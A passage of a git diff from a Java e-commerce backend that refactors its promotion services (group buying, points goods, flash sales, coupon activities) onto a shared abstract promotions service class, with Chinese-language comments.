* @param page 分页参数 - * @return 拼团活动列表 - */ - IPage getPintuanByPageFromMongo(PintuanSearchParams param, PageVO page); - /** * 从mongo中查询拼团活动详情 * * @param id 拼团ID * @return 拼团活动详情 */ - PintuanVO getPintuanByIdFromMongo(String id); - - /** - * 从mysql中查询拼团活动详情 - * - * @param id 拼团活动id - * @return 拼团活动详情 - */ - Pintuan getPintuanById(String id); - - /** - * 从mongo中根据条件查询拼团活动总数 - * - * @param param 拼团活动查询参数 - * @return 总数 - */ - Long getPintuanByPageFromMongoCount(PintuanSearchParams param); - - /** - * 拼团新增业务处理 - * - * @param pintuan 拼团实体 - * @return 是否成功 - */ - boolean addPintuan(PintuanVO pintuan); - - /** - * 拼团修改 - * - * @param pintuan 拼团实体 - * @return 是否成功 - */ - boolean modifyPintuan(PintuanVO pintuan); - - /** - * 开启拼团 - * - * @param pintuanId 拼团活动编号 - * @param startTime 开始时间 - * @param endTime 结束时间 - * @return 是否成功 - */ - boolean openPintuan(String pintuanId, Date startTime, Date endTime); - - /** - * 关闭拼团 - * - * @param pintuanId 拼团活动编号 - * @return 是否成功 - */ - boolean closePintuan(String pintuanId); - - /** - * 删除拼团 - * - * @param pintuanId 拼团活动编号 - * @return 是否成功 - */ - boolean deletePintuan(String pintuanId); + PintuanVO getPintuanVO(String id); /** * 获取拼团分享信息 diff --git a/framework/src/main/java/cn/lili/modules/promotion/service/PointsGoodsService.java b/framework/src/main/java/cn/lili/modules/promotion/service/PointsGoodsService.java index faac3f07..948d98f8 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/service/PointsGoodsService.java +++ b/framework/src/main/java/cn/lili/modules/promotion/service/PointsGoodsService.java @@ -1,11 +1,7 @@ package cn.lili.modules.promotion.service; -import cn.lili.common.vo.PageVO; import cn.lili.modules.promotion.entity.dos.PointsGoods; -import cn.lili.modules.promotion.entity.vos.PointsGoodsSearchParams; import cn.lili.modules.promotion.entity.vos.PointsGoodsVO; -import com.baomidou.mybatisplus.core.metadata.IPage; -import com.baomidou.mybatisplus.extension.service.IService; import java.util.List; @@ -15,40 +11,15 @@ import java.util.List; * @author paulG * @since 2020/11/18 9:45 上午 **/ -public interface PointsGoodsService extends IService { +public interface PointsGoodsService extends AbstractPromotionsService { /** - * 批量添加积分商品 + * 批量保存库存商品 * - * @param pointsGoodsList 积分商品列表 - * @return 是否添加成功 + * @param promotionsList 积分商品列表 + * @return 是否保存成功 */ - boolean addPointsGoods(List pointsGoodsList); - - /** - * 更新一个积分商品 - * - * @param pointsGoodsDTO 编辑的积分商品信息 - * @return 是否更新成功 - */ - boolean updatePointsGoods(PointsGoodsVO pointsGoodsDTO); - - /** - * 批量更新积分商品状态 - * - * @param ids 积分商品id集合 - * @param promotionStatus 更新的状态 - * @return 是否更新成功 - */ - boolean updatePointsGoodsPromotionStatus(List ids, String promotionStatus); - - /** - * 批量删除积分商品 - * - * @param ids 积分商品id集合 - * @return 是否删除成功 - */ - boolean deletePointsGoods(List ids); + boolean savePointsGoodsBatch(List promotionsList); /** * 根据ID获取积分详情 @@ -64,15 +35,6 @@ public interface PointsGoodsService extends IService { * @param skuId 商品SkuId * @return 积分详情 */ - PointsGoodsVO getPointsGoodsVOByMongo(String skuId); - - /** - * 根据条件查询积分商品 - * - * @param searchParams 积分商品查询参数 - * @param page 分页参数 - * @return 积分商品查询结果 - */ - IPage getPointsGoodsByPage(PointsGoodsSearchParams searchParams, PageVO page); + PointsGoodsVO getPointsGoodsDetailBySkuId(String skuId); } diff --git a/framework/src/main/java/cn/lili/modules/promotion/service/PromotionGoodsService.java b/framework/src/main/java/cn/lili/modules/promotion/service/PromotionGoodsService.java index c134d2f3..eb1063b7 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/service/PromotionGoodsService.java +++ b/framework/src/main/java/cn/lili/modules/promotion/service/PromotionGoodsService.java @@ -1,12 +1,11 @@ package cn.lili.modules.promotion.service; import cn.lili.cache.CachePrefix; -import cn.lili.common.vo.PageVO; -import cn.lili.modules.promotion.entity.dos.PromotionGoods; -import cn.lili.modules.promotion.entity.dto.PromotionGoodsDTO; import cn.lili.common.enums.PromotionTypeEnum; -import cn.lili.modules.promotion.entity.vos.PromotionGoodsSearchParams; +import cn.lili.common.vo.PageVO; import cn.lili.modules.order.cart.entity.vo.CartSkuVO; +import cn.lili.modules.promotion.entity.dos.PromotionGoods; +import cn.lili.modules.promotion.entity.vos.PromotionGoodsSearchParams; import com.baomidou.mybatisplus.core.metadata.IPage; import com.baomidou.mybatisplus.extension.service.IService; @@ -34,14 +33,6 @@ public interface PromotionGoodsService extends IService { return "{" + CachePrefix.PROMOTION_GOODS_STOCK.name() + "_" + typeEnum.name() + "}_" + promotionId + "_" + skuId; } - /** - * 删除指定促销类型的促销商品 - * - * @param promotionGoodsList 促销商品列表 - * @param promotionType 促销类型 - */ - void removePromotionGoods(List promotionGoodsList, PromotionTypeEnum promotionType); - /** * 更新促销活动 * @@ -57,14 +48,6 @@ public interface PromotionGoodsService extends IService { */ List findNowSkuPromotion(String skuId); - /** - * 分页获取促销商品信息 - * - * @param skuId 商品skuId - * @return 某商品的促销信息 - */ - List getPromotionGoods(String skuId); - /** * 分页获取促销商品信息 * @@ -72,16 +55,42 @@ public interface PromotionGoodsService extends IService { * @param pageVo 分页参数 * @return 促销商品列表 */ - IPage getPromotionGoods(PromotionGoodsSearchParams searchParams, PageVO pageVo); + IPage pageFindAll(PromotionGoodsSearchParams searchParams, PageVO pageVo); /** - * 分页获取当前进行中的促销活动的促销商品信息 + * 获取促销商品信息 * - * @param promotionType 促销活动类型 - * @param pageVo 分页参数 + * @param searchParams 查询参数 * @return 促销商品列表 */ - IPage getCurrentPromotionGoods(String promotionType, PageVO pageVo); + List listFindAll(PromotionGoodsSearchParams searchParams); + + /** + * 获取促销商品信息 + * + * @param searchParams 查询参数 + * @return 促销商品信息 + */ + PromotionGoods getPromotionsGoods(PromotionGoodsSearchParams searchParams); + + + /** + * 获取当前有效时间特定促销类型的促销商品信息 + * + * @param skuId skuId + * @param promotionTypes 特定促销类型 + * @return 促销商品信息 + */ + PromotionGoods getValidPromotionsGoods(String skuId, List promotionTypes); + + /** + * 获取当前有效时间特定促销类型的促销商品价格 + * + * @param skuId skuId + * @param promotionTypes 特定促销类型 + * @return 促销商品价格 + */ + Double getValidPromotionsGoodsPrice(String skuId, List promotionTypes); /** * 查询参加活动促销商品是否同时参加指定类型的活动 @@ -116,26 +125,6 @@ public interface PromotionGoodsService extends IService { */ List getPromotionGoodsStock(PromotionTypeEnum typeEnum, String promotionId, List skuId); - /** - * 根据条件获取促销活动商品详情 - * - * @param typeEnum 促销类型 - * @param promotionId 促销活动id - * @param skuId 商品skuId - * @return 促销活动商品详情 - */ - PromotionGoods getPromotionGoods(PromotionTypeEnum typeEnum, String promotionId, String skuId); - - /** - * 批量获取促销商品信息 - * - * @param typeEnum 促销类型 - * @param promotionId 促销活动id - * @param skuId 商品skuId - * @return 促销活动商品详情 - */ - List getPromotionGoods(PromotionTypeEnum typeEnum, String promotionId, List skuId); - /** * 更新促销活动商品库存 * @@ -146,4 +135,33 @@ public interface PromotionGoodsService extends IService { */ void updatePromotionGoodsStock(PromotionTypeEnum typeEnum, String promotionId, String skuId, Integer quantity); + /** + * 更新促销活动商品索引 + * + * @param promotionGoods 促销商品信息 + */ + void updatePromotionGoodsByPromotions(PromotionGoods promotionGoods); + + /** + * 删除促销商品 + * + * @param promotionId 促销活动id + * @param skuIds skuId + */ + void deletePromotionGoods(String promotionId, List skuIds); + + /** + * 删除促销促销商品 + * + * @param promotionIds 促销活动id + */ + void deletePromotionGoods(List promotionIds); + + /** + * 根据参数删除促销商品 + * + * @param searchParams 查询参数 + */ + void deletePromotionGoods(PromotionGoodsSearchParams searchParams); + } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/promotion/service/PromotionService.java b/framework/src/main/java/cn/lili/modules/promotion/service/PromotionService.java index 54d07cc8..99f2d01a 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/service/PromotionService.java +++ b/framework/src/main/java/cn/lili/modules/promotion/service/PromotionService.java @@ -1,6 +1,5 @@ package cn.lili.modules.promotion.service; -import cn.lili.trigger.message.PromotionMessage; import cn.lili.modules.search.entity.dos.EsGoodsIndex; import java.util.Map; @@ -13,16 +12,6 @@ import java.util.Map; */ public interface PromotionService { - - /** - * 更新促销活动状态 - * - * @param promotionMessage 促销变更信息 - * @return 是否更新成功 - */ - boolean updatePromotionStatus(PromotionMessage promotionMessage); - - /** * 获取当前进行的所有促销活动信息 * diff --git a/framework/src/main/java/cn/lili/modules/promotion/service/SeckillApplyService.java b/framework/src/main/java/cn/lili/modules/promotion/service/SeckillApplyService.java index 928bb00c..0a126c1d 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/service/SeckillApplyService.java +++ b/framework/src/main/java/cn/lili/modules/promotion/service/SeckillApplyService.java @@ -36,18 +36,26 @@ public interface SeckillApplyService extends IService { List getSeckillGoods(Integer timeline); /** - * 从mongo中分页查询限时请购申请列表 + * 分页查询限时请购申请列表 * * @param queryParam 秒杀活动申请查询参数 * @param pageVo 分页参数 * @return 限时请购申请列表 */ - IPage getSeckillApplyFromMongo(SeckillSearchParams queryParam, PageVO pageVo); + IPage getSeckillApply(SeckillSearchParams queryParam, PageVO pageVo); + + /** + * 分页查询限时请购申请列表 + * + * @param queryParam 秒杀活动申请查询参数 + * @return 限时请购申请列表 + */ + List getSeckillApply(SeckillSearchParams queryParam); /** * 添加秒杀活动申请 * 检测是否商品是否同时参加多个活动 - * 将秒杀商品信息存入秒杀活动中,更新mogo信息 + * 将秒杀商品信息存入秒杀活动中 * 保存秒杀活动商品,促销商品信息 * * @param seckillId 秒杀活动编号 @@ -60,7 +68,8 @@ public interface SeckillApplyService extends IService { * 批量删除秒杀活动商品 * * @param seckillId 秒杀活动活动id - * @param id 秒杀活动商品 + * @param id 秒杀活动商品 */ - void removeSeckillApply(String seckillId, String id ); + void removeSeckillApply(String seckillId, String id); + } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/promotion/service/SeckillService.java b/framework/src/main/java/cn/lili/modules/promotion/service/SeckillService.java index 6d388d3a..d835055a 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/service/SeckillService.java +++ b/framework/src/main/java/cn/lili/modules/promotion/service/SeckillService.java @@ -1,11 +1,10 @@ package cn.lili.modules.promotion.service; -import cn.lili.common.vo.PageVO; import cn.lili.modules.promotion.entity.dos.Seckill; -import cn.lili.modules.promotion.entity.vos.SeckillSearchParams; +import cn.lili.modules.promotion.entity.dos.SeckillApply; import cn.lili.modules.promotion.entity.vos.SeckillVO; -import com.baomidou.mybatisplus.core.metadata.IPage; -import com.baomidou.mybatisplus.extension.service.IService; + +import java.util.List; /** * 秒杀业务层 @@ -13,30 +12,12 @@ import com.baomidou.mybatisplus.extension.service.IService; * @author Chopper * @since 2020/11/18 9:45 上午 */ -public interface SeckillService extends IService { +public interface SeckillService extends AbstractPromotionsService { /** * 预创建活动数量 */ - public static final Integer PRE_CREATION = 7; - - /** - * 从mysql中根据条件获取秒杀活动分页列表 - * - * @param queryParam 查询参数 - * @param pageVo 分页参数 - * @return 秒杀活动分页列表 - */ - IPage getSeckillByPageFromMysql(SeckillSearchParams queryParam, PageVO pageVo); - - /** - * 从mongo中根据条件获取秒杀活动分页列表 - * - * @param queryParam 查询参数 - * @param pageVo 分页参数 - * @return 秒杀活动分页列表 - */ - IPage getSeckillByPageFromMongo(SeckillSearchParams queryParam, PageVO pageVo); + Integer PRE_CREATION = 7; /** * 从mongo中获取秒杀活动信息 @@ -44,56 +25,12 @@ public interface SeckillService extends IService { * @param id 秒杀活动id * @return 秒杀活动信息 */ - SeckillVO getSeckillByIdFromMongo(String id); + SeckillVO getSeckillDetail(String id); /** * 初始化秒杀活动,默认开启三十天的秒杀活动 */ void init(); - /** - * 保存秒杀活动 - * - * @param seckill 秒杀活动 - * @return 是否保存成功 - */ - boolean saveSeckill(Seckill seckill); - - /** - * 商家报名秒杀活动活动 - * - * @param storeId 商家编号 - * @param seckillId 秒杀活动编号 - */ - void storeApply(String storeId, String seckillId); - - /** - * 修改秒杀活动 - * - * @param seckillVO 秒杀活动信息 - * @return 是否修改成功 - */ - boolean modifySeckill(SeckillVO seckillVO); - - /** - * 删除秒杀活动 - * - * @param id 秒杀活动编号 - */ - void deleteSeckill(String id); - - /** - * 开启一个秒杀活动 - * - * @param id 秒杀活动编号 - */ - void openSeckill(String id); - - /** - * 关闭一个秒杀活动 - * - * @param id 秒杀活动编号 - */ - void closeSeckill(String id); /** * 获取当前可参与的活动数量 @@ -104,7 +41,24 @@ public interface SeckillService extends IService { /** * 更新秒杀活动的商品数量 + * * @param seckillId 秒杀活动ID */ void updateSeckillGoodsNum(String seckillId); + + /** + * 更新商品索引限时抢购信息 + * + * @param seckill 限时抢购信息 + * @param seckillApplies 限时抢购商品列表 + */ + void updateEsGoodsSeckill(Seckill seckill, List seckillApplies); + + /** + * 设置秒杀活动的每个参与活动商品的详细时间 + * + * @param seckill 秒杀活动信息 + * @param seckillApply 申请参与秒杀活动的商品信息 + */ + void setSeckillApplyTime(Seckill seckill, SeckillApply seckillApply); } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/AbstractPromotionsServiceImpl.java b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/AbstractPromotionsServiceImpl.java new file mode 100644 index 00000000..afbd1789 --- /dev/null +++ b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/AbstractPromotionsServiceImpl.java @@ -0,0 +1,276 @@ +package cn.lili.modules.promotion.serviceimpl; + +import cn.hutool.core.text.CharSequenceUtil; +import cn.hutool.json.JSONUtil; +import cn.lili.common.enums.PromotionTypeEnum; +import cn.lili.common.enums.ResultCode; +import cn.lili.common.exception.ServiceException; +import cn.lili.common.properties.RocketmqCustomProperties; +import cn.lili.common.vo.PageVO; +import cn.lili.modules.promotion.entity.dos.PromotionGoods; +import cn.lili.modules.promotion.entity.dto.BasePromotions; +import cn.lili.modules.promotion.entity.enums.PromotionsScopeTypeEnum; +import cn.lili.modules.promotion.entity.vos.BasePromotionsSearchParams; +import cn.lili.modules.promotion.service.AbstractPromotionsService; +import cn.lili.modules.promotion.service.PromotionGoodsService; +import cn.lili.modules.promotion.tools.PromotionTools; +import cn.lili.mybatis.util.PageUtil; +import cn.lili.rocketmq.RocketmqSendCallbackBuilder; +import cn.lili.rocketmq.tags.GoodsTagsEnum; +import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; +import com.baomidou.mybatisplus.core.conditions.update.UpdateWrapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import com.baomidou.mybatisplus.core.metadata.IPage; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; +import org.apache.rocketmq.spring.core.RocketMQTemplate; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.transaction.annotation.Transactional; + +import java.util.*; + +/** + * @author paulG + * @since 2021/11/30 + **/ +public class AbstractPromotionsServiceImpl, T extends BasePromotions> extends ServiceImpl implements AbstractPromotionsService { + + /** + * 促销商品 + */ + @Autowired + private PromotionGoodsService promotionGoodsService; + + /** + * rocketMq配置 + */ + @Autowired + private RocketmqCustomProperties rocketmqCustomProperties; + + /** + * rocketMq + */ + @Autowired + private RocketMQTemplate rocketMQTemplate; + + /** + * 通用促销保存 + * 调用顺序: + * 1. initPromotion 初始化促销信息 + * 2. checkPromotions 检查促销参数 + * 3. save 保存促销信息 + * 4. updatePromotionGoods 更新促销商品信息 + * 5。 updateEsGoodsIndex 更新商品索引促销信息 + * + * @param promotions 促销信息 + * @return 是否保存成功 + */ + @Override + @Transactional(rollbackFor = {Exception.class}) + public boolean savePromotions(T promotions) { + this.initPromotion(promotions); + this.checkPromotions(promotions); + boolean save = this.save(promotions); + this.updatePromotionsGoods(promotions); + this.updateEsGoodsIndex(promotions); + return save; + } + + /** + * 通用促销更新 + * 调用顺序: + * 1. checkStatus 检查促销状态 + * 2. checkPromotions 检查促销参数 + * 3. saveOrUpdate 保存促销信息 + * 4. updatePromotionGoods 更新促销商品信息 + * 5. updateEsGoodsIndex 更新商品索引促销信息 + * + * @param promotions 促销信息 + * @return 是否更新成功 + */ + @Override + @Transactional(rollbackFor = {Exception.class}) + public boolean updatePromotions(T promotions) { + this.checkStatus(promotions); + this.checkPromotions(promotions); + boolean save = this.saveOrUpdate(promotions); + this.updatePromotionsGoods(promotions); + this.updateEsGoodsIndex(promotions); + return save; + } + + /** + * 更新促销状态 + * 如果要更新促销状态为关闭,startTime和endTime置为空即可 + * + * @param ids 促销id集合 + * @param startTime 开始时间 + * @param endTime 结束时间 + * @return 是否更新成功 + */ + @Override + @Transactional(rollbackFor = {Exception.class}) + public boolean updateStatus(List ids, Long startTime, Long endTime) { + List promotionsList = this.list(new QueryWrapper().in("id", ids)); + for (T t : promotionsList) { + if (startTime != null && endTime != null) { + t.setStartTime(new Date(startTime)); + t.setEndTime(new Date(endTime)); + } else { + t.setStartTime(null); + t.setEndTime(null); + } + this.checkStatus(t); + this.updatePromotionsGoods(t); + this.updateEsGoodsIndex(t); + } + if (startTime != null && endTime != null) { + return this.update(new UpdateWrapper().in("id", ids).set("start_time", new Date(startTime)).set("end_time", new Date(endTime))); + } else { + return this.update(new UpdateWrapper().in("id", ids).set("start_time", null).set("end_time", null)); + } + } + + /** + * 移除促销活动 + * + * @param ids 促销活动id集合 + * @return 是否移除成功 + */ + @Override + @Transactional(rollbackFor = {Exception.class}) + public boolean removePromotions(List ids) { + for (String id : ids) { + T promotions = this.getById(id); + this.checkStatus(promotions); + promotions.setDeleteFlag(true); + this.updatePromotionsGoods(promotions); + this.updateEsGoodsIndex(promotions); + } + return this.removeByIds(ids); + } + + /** + * 分页查询促销信息 + * + * @param searchParams 查询参数,继承自继承促销查询参数 + * @param page 分页参数 + * @return 分页促销信息 + */ + @Override + public IPage pageFindAll(S searchParams, PageVO page) { + page.setNotConvert(false); + return this.page(PageUtil.initPage(page), searchParams.queryWrapper()); + } + + /** + * 列表查询促销信息 + * + * @param searchParams 查询参数,继承自继承促销查询参数 + * @return 列表促销信息 + */ + @Override + public List listFindAll(S searchParams) { + return this.list(searchParams.queryWrapper()); + } + + /** + * 初始化促销字段 + * + * @param promotions 促销实体 + */ + @Override + public void initPromotion(T promotions) { + if (CharSequenceUtil.isEmpty(promotions.getScopeType())) { + promotions.setScopeType(PromotionsScopeTypeEnum.PORTION_GOODS.name()); + } + } + + /** + * 检查促销参数 + * + * @param promotions 促销实体 + */ + @Override + public void checkPromotions(T promotions) { + PromotionTools.checkPromotionTime(promotions.getStartTime(), promotions.getEndTime()); + } + + /** + * 检查促销状态 + * + * @param promotions 促销实体 + */ + @Override + public void checkStatus(T promotions) { + T byId = this.getById(promotions.getId()); + if (byId == null) { + throw new ServiceException(ResultCode.PROMOTION_ACTIVITY_ERROR); + } + } + + /** + * 更新促销商品信息 + * + * @param promotions 促销实体 + */ + @Override + @Transactional(rollbackFor = {Exception.class}) + public void updatePromotionsGoods(T promotions) { + if (promotions.getStartTime() == null && promotions.getEndTime() == null) { + this.promotionGoodsService.deletePromotionGoods(Collections.singletonList(promotions.getId())); + return; + } + if (PromotionsScopeTypeEnum.ALL.name().equals(promotions.getScopeType())) { + PromotionGoods promotionGoods = new PromotionGoods(); + promotionGoods.setScopeType(promotions.getScopeType()); + promotionGoods.setPromotionId(promotions.getId()); + promotionGoods.setStoreId(promotions.getStoreId()); + promotionGoods.setStoreName(promotions.getStoreName()); + promotionGoods.setStartTime(promotions.getStartTime()); + promotionGoods.setEndTime(promotions.getEndTime()); + promotionGoods.setPromotionType(this.getPromotionType().name()); + promotionGoods.setTitle(promotions.getPromotionName()); + this.promotionGoodsService.deletePromotionGoods(Collections.singletonList(promotions.getId())); + this.promotionGoodsService.save(promotionGoods); + } + } + + /** + * 更新促销信息到商品索引 + * + * @param promotions 促销实体 + */ + @Override + public void updateEsGoodsIndex(T promotions) { + if (promotions.getStartTime() == null && promotions.getEndTime() == null) { + //删除商品促销消息 + String destination = rocketmqCustomProperties.getGoodsTopic() + ":" + GoodsTagsEnum.DELETE_GOODS_INDEX_PROMOTIONS.name(); + //发送mq消息 + rocketMQTemplate.asyncSend(destination, promotions.getId(), RocketmqSendCallbackBuilder.commonCallback()); + } else { + + String esPromotionKey = this.getPromotionType().name() + "-" + promotions.getId(); + Map map = new HashMap<>(); + // es促销key + map.put("esPromotionKey", esPromotionKey); + // 促销类型全路径名 + map.put("promotionsType", promotions.getClass().getName()); + // 促销实体 + map.put("promotions", promotions); + //更新商品促销消息 + String destination = rocketmqCustomProperties.getGoodsTopic() + ":" + GoodsTagsEnum.UPDATE_GOODS_INDEX_PROMOTIONS.name(); + //发送mq消息 + rocketMQTemplate.asyncSend(destination, JSONUtil.toJsonStr(map), RocketmqSendCallbackBuilder.commonCallback()); + } + } + + /** + * 当前促销类型 + * + * @return 当前促销类型 + */ + @Override + public PromotionTypeEnum getPromotionType() { + return null; + } +} diff --git a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/CouponActivityItemServiceImpl.java b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/CouponActivityItemServiceImpl.java index fc2c7bf8..03eedfa4 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/CouponActivityItemServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/CouponActivityItemServiceImpl.java @@ -31,4 +31,14 @@ public class CouponActivityItemServiceImpl extends ServiceImpl couponIds) { + this.remove(new LambdaQueryWrapper() + .in(CouponActivityItem::getCouponId, couponIds)); + } } diff --git a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/CouponActivityServiceImpl.java b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/CouponActivityServiceImpl.java index c46c60f9..d1eaa380 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/CouponActivityServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/CouponActivityServiceImpl.java @@ -5,8 +5,6 @@ import cn.hutool.json.JSONUtil; import cn.lili.common.enums.PromotionTypeEnum; import cn.lili.common.enums.ResultCode; import cn.lili.common.exception.ServiceException; -import cn.lili.common.properties.RocketmqCustomProperties; -import cn.lili.common.utils.DateUtil; import cn.lili.modules.member.entity.dos.Member; import cn.lili.modules.member.service.MemberService; import cn.lili.modules.promotion.entity.dos.Coupon; @@ -14,25 +12,13 @@ import cn.lili.modules.promotion.entity.dos.CouponActivity; import cn.lili.modules.promotion.entity.dos.CouponActivityItem; import cn.lili.modules.promotion.entity.dos.MemberCoupon; import cn.lili.modules.promotion.entity.dto.CouponActivityDTO; -import cn.lili.modules.promotion.entity.enums.CouponActivitySendTypeEnum; -import cn.lili.modules.promotion.entity.enums.MemberCouponStatusEnum; -import cn.lili.modules.promotion.entity.enums.PromotionStatusEnum; +import cn.lili.modules.promotion.entity.enums.*; import cn.lili.modules.promotion.entity.vos.CouponActivityVO; import cn.lili.modules.promotion.mapper.CouponActivityMapper; import cn.lili.modules.promotion.service.CouponActivityItemService; import cn.lili.modules.promotion.service.CouponActivityService; import cn.lili.modules.promotion.service.CouponService; import cn.lili.modules.promotion.service.MemberCouponService; -import cn.lili.modules.promotion.tools.PromotionTools; -import cn.lili.trigger.enums.DelayTypeEnums; -import cn.lili.trigger.interfaces.TimeTrigger; -import cn.lili.trigger.message.PromotionMessage; -import cn.lili.trigger.model.TimeExecuteConstant; -import cn.lili.trigger.model.TimeTriggerMsg; -import cn.lili.trigger.util.DelayQueueTools; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; -import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; import groovy.util.logging.Slf4j; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; @@ -48,7 +34,7 @@ import java.util.stream.Collectors; */ @Slf4j @Service -public class CouponActivityServiceImpl extends ServiceImpl implements CouponActivityService { +public class CouponActivityServiceImpl extends AbstractPromotionsServiceImpl implements CouponActivityService { @Autowired private CouponService couponService; @@ -58,50 +44,6 @@ public class CouponActivityServiceImpl extends ServiceImpl() - .eq(CouponActivityItem::getActivityId, couponActivityDTO.getId())); - //重新添加优惠券活动关联优惠券 - this.addCouponActivityItems(couponActivityDTO); - return couponActivityDTO; - } @Override public CouponActivityVO getCouponActivityVO(String couponActivityId) { @@ -152,11 +94,86 @@ public class CouponActivityServiceImpl extends ServiceImpl memberCouponList = new LinkedList<>(); @@ -201,38 +218,6 @@ public class CouponActivityServiceImpl extends ServiceImpl nowTime) { - throw new ServiceException(ResultCode.COUPON_ACTIVITY_START_TIME_ERROR); - } - //活动时间需超过当前时间 - PromotionTools.checkPromotionTime(couponActivity.getStartTime().getTime(), couponActivity.getEndTime().getTime()); - //指定会员判定 - if (couponActivity.getActivityScope().equals(CouponActivitySendTypeEnum.DESIGNATED.name()) && couponActivity.getMemberDTOS().isEmpty()) { - throw new ServiceException(ResultCode.COUPON_ACTIVITY_MEMBER_ERROR); - } - //优惠券数量判定 - if (couponActivity.getCouponActivityItems().isEmpty()) { - throw new ServiceException(ResultCode.COUPON_ACTIVITY_ITEM_ERROR); - } else if (couponActivity.getCouponActivityItems().size() > 10) { - throw new ServiceException(ResultCode.COUPON_ACTIVITY_ITEM_MUST_NUM_ERROR); - } else { - for (CouponActivityItem item : couponActivity.getCouponActivityItems()) { - if (item.getNum() == null || item.getNum() <= 0) { - throw new ServiceException(ResultCode.COUPON_ACTIVITY_ITEM_NUM_ERROR); - } - } - } - } - /** * 获取优惠券的范围范围 * 此方法用于精准发券 @@ -243,30 +228,34 @@ public class CouponActivityServiceImpl extends ServiceImpl> getMemberList(CouponActivity couponActivity) { //判断优惠券的发送范围,获取会员列表 if ("ALL".equals(couponActivity.getActivityScope())) { - return memberService.listMaps(new QueryWrapper() - .select("id,nick_name")); + return this.memberService.listFieldsByMemberIds("id,nick_name", null); } else { - List ids = new ArrayList<>(); + List ids = new ArrayList<>(); if (JSONUtil.isJsonArray(couponActivity.getActivityScopeInfo())) { JSONArray array = JSONUtil.parseArray(couponActivity.getActivityScopeInfo()); - ids = array.toList(Map.class).stream().map(i -> i.get("id")).collect(Collectors.toList()); + ids = array.toList(Map.class).stream().map(i -> i.get("id").toString()).collect(Collectors.toList()); } - return memberService.listMaps(new QueryWrapper() - .select("id,nick_name") - .in("id", ids)); + return memberService.listFieldsByMemberIds("id,nick_name", ids); } } /** - * 添加优惠券活动关联优惠券 + * 检查优惠券 * - * @param couponActivityDTO 优惠券活动DTO + * @param couponActivityItems 优惠券列表 */ - private void addCouponActivityItems(CouponActivityDTO couponActivityDTO) { - //创建优惠券活动子列表 - for (CouponActivityItem couponActivityItem : couponActivityDTO.getCouponActivityItems()) { - couponActivityItem.setActivityId(couponActivityDTO.getId()); + private void checkCouponActivityItem(List couponActivityItems) { + //优惠券数量判定 + if (couponActivityItems.isEmpty()) { + throw new ServiceException(ResultCode.COUPON_ACTIVITY_ITEM_ERROR); + } else if (couponActivityItems.size() > 10) { + throw new ServiceException(ResultCode.COUPON_ACTIVITY_ITEM_MUST_NUM_ERROR); + } else { + for (CouponActivityItem item : couponActivityItems) { + if (item.getNum() == null || item.getNum() <= 0) { + throw new ServiceException(ResultCode.COUPON_ACTIVITY_ITEM_NUM_ERROR); + } + } } - couponActivityItemService.saveBatch(couponActivityDTO.getCouponActivityItems()); } } diff --git a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/CouponServiceImpl.java b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/CouponServiceImpl.java index 7533bf3b..e97cbe27 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/CouponServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/CouponServiceImpl.java @@ -1,43 +1,37 @@ package cn.lili.modules.promotion.serviceimpl; import cn.hutool.core.text.CharSequenceUtil; +import cn.hutool.json.JSONUtil; +import cn.lili.common.enums.PromotionTypeEnum; import cn.lili.common.enums.ResultCode; import cn.lili.common.exception.ServiceException; -import cn.lili.common.enums.PromotionTypeEnum; -import cn.lili.trigger.enums.DelayTypeEnums; -import cn.lili.trigger.interfaces.TimeTrigger; -import cn.lili.trigger.message.PromotionMessage; -import cn.lili.trigger.model.TimeExecuteConstant; -import cn.lili.trigger.model.TimeTriggerMsg; -import cn.lili.trigger.util.DelayQueueTools; import cn.lili.common.utils.DateUtil; -import cn.lili.mybatis.util.PageUtil; -import cn.lili.common.utils.StringUtils; import cn.lili.common.vo.PageVO; -import cn.lili.common.properties.RocketmqCustomProperties; import cn.lili.modules.goods.entity.dos.GoodsSku; import cn.lili.modules.goods.service.GoodsSkuService; -import cn.lili.modules.promotion.entity.dos.*; -import cn.lili.modules.promotion.entity.enums.*; +import cn.lili.modules.promotion.entity.dos.Coupon; +import cn.lili.modules.promotion.entity.dos.FullDiscount; +import cn.lili.modules.promotion.entity.dos.PromotionGoods; +import cn.lili.modules.promotion.entity.enums.CouponRangeDayEnum; +import cn.lili.modules.promotion.entity.enums.CouponTypeEnum; +import cn.lili.modules.promotion.entity.enums.PromotionsScopeTypeEnum; +import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum; import cn.lili.modules.promotion.entity.vos.CouponSearchParams; import cn.lili.modules.promotion.entity.vos.CouponVO; +import cn.lili.modules.promotion.entity.vos.FullDiscountSearchParams; +import cn.lili.modules.promotion.entity.vos.PromotionGoodsSearchParams; import cn.lili.modules.promotion.mapper.CouponMapper; import cn.lili.modules.promotion.service.*; import 